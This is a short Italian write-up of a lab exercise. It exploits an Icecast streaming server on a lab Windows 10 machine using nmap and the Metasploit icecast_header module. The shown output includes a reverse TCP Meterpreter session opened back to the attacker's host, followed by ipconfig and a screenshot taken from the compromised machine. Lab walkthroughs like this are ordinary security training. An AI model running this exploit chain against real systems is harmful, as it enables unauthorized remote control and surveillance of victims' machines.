Dopo aver avviato Icecast sulla macchina target. eseguiamo una scansione di rete con nmap.

```
8000/tcp open  http             Icecast streaming media server
```

Una volta constatato che il servizio è attivo apriamo msfconsole e cerchiamo un exploit che ci possa servire:

```
exploit/windows/http/icecast_header
```

Quindi ci assicuriamo con il comando “options” che l’exploit è configurato bene e lo facciamo partire con il comando “run”

```
[*] Started reverse TCP handler on 192.168.50.100:4444
[*] Sending stage (177734 bytes) to 192.168.50.102
[*] Meterpreter session 1 opened (192.168.50.100:4444 → 192.168.50.102:49450) at 2024-12-19 08:47:37 -0500

meterpreter > ipconfig
```

Abbiamo ottenuto la sessione meterpreter, quindi proviamo un comando, in questo caso “ipconfig” per vedere l’indirizzo IP della macchina esploitata.

```
Interface  4
============
Name         : Intel(R) PRO/1000 MT Desktop Adapter
Hardware MAC : 08:00:27:46:b6:e9
MTU          : 1500
IPv4 Address : 192.168.50.102
IPv4 Netmask : 255.255.255.0
IPv6 Address : fe80::c5da:67bb:fa3b:2c4f
IPv6 Netmask : ffff:ffff:ffff:ffff::
```

Inoltre con il comando "screenshot" abbiamo recuperato uno screenshot di windows10

```
meterpreter > screenshot
Screenshot saved to: /home/andre/HkZCAqvN.jpeg
```